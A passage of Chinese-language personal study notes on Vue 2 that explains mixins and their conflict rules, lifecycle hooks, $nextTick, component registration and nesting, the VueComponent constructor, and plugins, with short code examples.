    • 只能一个一个添加, 参数1 是过滤器名,也就是函数名, 参数2是函数,参数的使用一样

混入 mixin

  • 定义混入的时候,对象中的内容其实跟new Vue的时候参数中的内容是一样的,data比较特殊,混入中的data必须是一个函数,函数必须返回一个对象

  • 全局混入

    Vue.mixin({

    data(){
        return {
            hello: '你好'
        }
    },
    methods: {
        onclick(){
            console.log(111);
        }
    }

    })
  • 局部混入
    // 定义对象 const banchengpin1 = {

    data(){
        return {
            vue: 'vue框架'
        }
    }
    }

    const vm = new Vue({
    el: '#app',
    data: {
        msg: 'hello vue'
    },
    // 局部混入
    mixins: [banchengpin1]
    })
  • 混入冲突

      1. 如果混入中的数据跟 vue 实例中的数据冲突了, 以 Vue实例中的为准
      1. 全局混入的数据跟局部混入的数据冲突了, 以局部为准
      1. 如果局部混入的数据跟vue实例的数据冲突 ,以Vue 实例为准
      1. 如果多个混入之间有冲突,以后面的为准
      1. 声明周期钩子 不以任何一个为准, 都会执行, 混合器中的 会先执行

生命周期

概念

  1. 又名 生命周期回调函数,生命周期函数, 生命周期钩子

  2. Vue 在关键时刻帮我们调用的一些特殊名称的函数

  3. 生命周期函数的名字不可修改,但函数的具体内容是需要编写的

  4. 生命周期函数中的this 指向 是vm 或 组件实例对象

生命周期钩子 , new Vue 实例中的配置项函数

  • beforeCreate( ){ } 创建之前

    • 在初始化生命周期,事件以后, 数据代理之前 无法通过 vm 访问到data中的数据和 methods 中的方法
  • created( ) { } 创建完毕

    • 初始化数据监测,数据代理之后 可以通过 vm访问到 data 中的数据,methods中配置的方法
  • beforeMount( ){ } 挂载之前

    beforeCreate(){
      console.log(this);
      // 这里的操作在断点之前是奏效的, 断点以后不再奏效
      debugger; // 断点需要打开控制台 刷新页面使用
    },
-   此时页面呈现的是未经Vue编译的DOM 结构,所有对DOM的操作最终都不奏效.数据已经更改了,但是页面还没有重新渲染,可以获取到更改后的数据
  • mounted( ){ } 挂载完毕

    • 初始真实DOM 放入(挂载完毕) 到 页面以后 调用 , 只调用一次
  • Mounted

    • beforeUpdate( ) { }

      • 此时 数据是新的, 页面是旧的, 页面尚未和数据保持同步
    • updated( ) { }

      • 此时 数据是新的, 页面也是新的, 页面和数据保持同步
  • Destroyed

    • beforeDestroy( ) { }

      • 此时, vm 中所有的 data,methods,指令(能访问到数据,能调用函数,能改变数据,但不能触发更新)等都处于可用状态, 马上要执行销毁命令, 一般在此阶段 关闭定时器,取消订阅消息,解绑自定义事件等
    • destroyed( ){ }

      • 销毁工作结束

        • 销毁后,借助Vue开发者工具看不到任何信息, 销毁后自定义事件会失效,原生DOM事件依然有效

实例上的生命周期

  • vm.$mount

  • vm.$forceUpdate

  • vm.$nextTick

    • vm.$nextTick(回调函数)

      • 将传入的回调函数,延迟到下一次 DOM 更新完成以后再执行, 和全局方法 Vue.nextTick 一样,不同的是 这里的回调中的 this 自动绑定到调用他的实例上(vm)

      • 什么时候会使用? 当改变数据后,要基于更新后的 新DOM 进行某些操作时使用.

        • 给 input 获取焦点

            1. 给指定的 input 一个 属性 ref = '参数'
            1. 给想要获取焦点的 input 框 的事件中 进行处理

              • 事件中使用 this.$nextTick(回调)
              • 回调中写 this.$refs.参数.focus( )
          • 此方法适用于动态渲染input框的时候, 因为 input框 需要在渲染到页面以后才能获取到
  • vm.$destroy

组件

概念

  • 实现应用中局部功能代码和资源的集合

  • 单文件组件

    • 一个文件中包含1个组件
  • 非单文件组件

    • 一个文件中包含 n 个组件
  • 特点

      1. 复用性
      1. 组件之间松散解耦, 互不影响
      1. 复杂工程拆解

使用步骤

Vue.component("school",school) // 定义全局组件 const school = Vue.extend({ //el:'#root' 组件中不能使用el配置项, 因为最终所有的组件都要被一个vm管理,由vm决定服务于谁 写了 el 也会被 temlpate 覆盖 template:`

    1. 定义组件

      • 组件名

        • 一个单词的时候, 首字母可以大写 也可以小写, 不论定义时是啥,开发者工具显示的都是首字母大写
        • 多个单词组成的时候,
  1. 单词与单词之间用 - 链接用 " " 包裹名, 开发者工具呈现的是驼峰式

  2. 在脚手架环境中 ,使用驼峰式 如 MySchool, 不使用脚手架报错

    • name

      • 定义组件的时候, 可以添加一个 name 属性, 指定组件在开发者工具中呈现的名字, 使用的时候还是原名
    1. 注册组件

      • 局部组件 和全局组件

        • 局部组件

          const vm = new Vue({
          
          
          el: '#app',
          data: {
          
          },
          // 局部组件定义在实例中,只能在当前实例中使用
          components: {
             hello: {
                 template: `
                     <div>
                         <h2>{{title}}</h2>
                     </div>
                 `,
                 data(){
                     return {
                         title: 'hello子组件'
                     }
                 }
             }
          }
          })
          
          • 每一次实例 vm 的时候 都需要注册

          • 简写形式

            • const school = {配置对象} 不写Vue.extend
        • 全局组件

          Vue.component('wdzzj', {
          // 组件配置 - new Vue里面能有东西,在这里也都能有
          // 1.必须有template参数 - 值是一个html模板字符串
          // template中必须要有一个唯一的根标签
          template:'<div><h2>{{msg}}</h2><p>{{msg}}</p></div>',
          // 2.如果需要在组件中定义数据 - data
          // 但是data必须是一个函数,且函数必须有返回值,且返回的必须是一个对象
          // 数据写在return的对象中
          data(){
            return {
                msg: '我是子组件'
            }
          } })
          
          • 另一个 vm 实例想要使用的时候, 不需要重新注册, 在页面中直接使用标签即可
          • 语法: Vue.component(组件名,原名)
      • 全局组件不需要注册

    1. 使用组件(写组件标签)

      • 组件标签可以写双标签, 也可以写单标签(自闭和)或 不使用脚手架, 用自闭和标签, 会有bug 写多个,只能生效一个
  • 组件嵌套

    • 注册给谁 去谁的结构里面写, 组件嵌套组件, 组件中 使用 components: {配置} 配置子组件, 但 子组件必须在 父组件定义之前定义, 子组件只能应用于父组件的结构中

定义 app 组件 顶级组件

  • vm 组件 下面是 app 有 app 组件管理所有分支组件

    • const app = Vue.extend({ template:使用组件 ,components:{组件1,组件2,组件3}})
    • 只管理最父级组件, 子组件不需要
  • 使用的时候 实例化的时候可以定义template:"" , 则el绑定的时候就会直接使用组件了

VueComponent 构造函数

  • 组件就是一个 VueComponent 构造函数

    • 是Vue.extend 生成的
    • 使用了 组件标签, Vue 解析时就会创建组件的实例对象, 即 new VueComponent(options)
    • 每一次调用 Vue.extend 返回的都是一个新的 VueComponent
  • this 指向

    • 组件配置中 data,methods,watch,computed, 他们的this 指向 VueComponent 实例对象
  • VueComponent 的实例对象 简称 vc (组件实例对象)

    • 也有数据代理,数据劫持
  • 在 Vue 实例中 是 vm 的 children 里面的属性 是一个数组 , 子组件同样 是出现在 子元素中的 children 里面

  • VueComponent .prototype.proto === Vue.prototype

    • 让组件的实例对象 vc 可以访问到 Vue 原型上的属性和方法

组件事件

  • 组件中的事件绑定 默认都是 自定义事件

    • 如何在组件中使用原生事件?
    • 绑定原生事件时 加 native 如 @click.native
  • 自定义事件两种定义方式 在 脚手架-----> 传值----> 自定义事件中

插件

用于增强Vue

  • 本质, 是包含了 install 方法的一个对象, 这个方法有两个参数, 第一个参数是 Vue, 第二个参数以后的参数是插件使用者传递的数据

定义插件

  • 可以使用导出的语法, 使用的时候导入,可以定义多个方法,使用Vue定义, 所有vm 和 vc 实例都可以使用

     export default{ install(Vue){
    // 这里定义各种 配置
    console.log('@@@install',Vue);
     Vue.mixin({
      data(){
        return{
          messg:'我是插件定义的一个全局    混入属性哦,所有的vm 和 vc 都拥有我'
        }
      }
    }) } }
    
  • 如果定义的插件是一个函数,则可以直接 use 不需要配置 install

    • 函数定义解析

      Vue.use((VueClass)=>{VueClass.prototype.bus = new Vue({data:()({msg:'这里的数据每一个实例都可以得到了'}))}) 函数注册组件咋注册? 使用的时候 直接通过 this.bus.msg 就能拿到 new Vue中挂载的数据, 其他如果写了方法啥的也能拿到

使用插件

  • 在入口文件中使用,可以定义多个插件,通过use方法引用

    import plugins from './plugins' // import plugins from './plugins' // 关闭 Vue 的生产提示 Vue.config.productionTip = false

    // 应用插件 Vue.use(plugins)

该方法需要在调用 new Vue() 之前被调用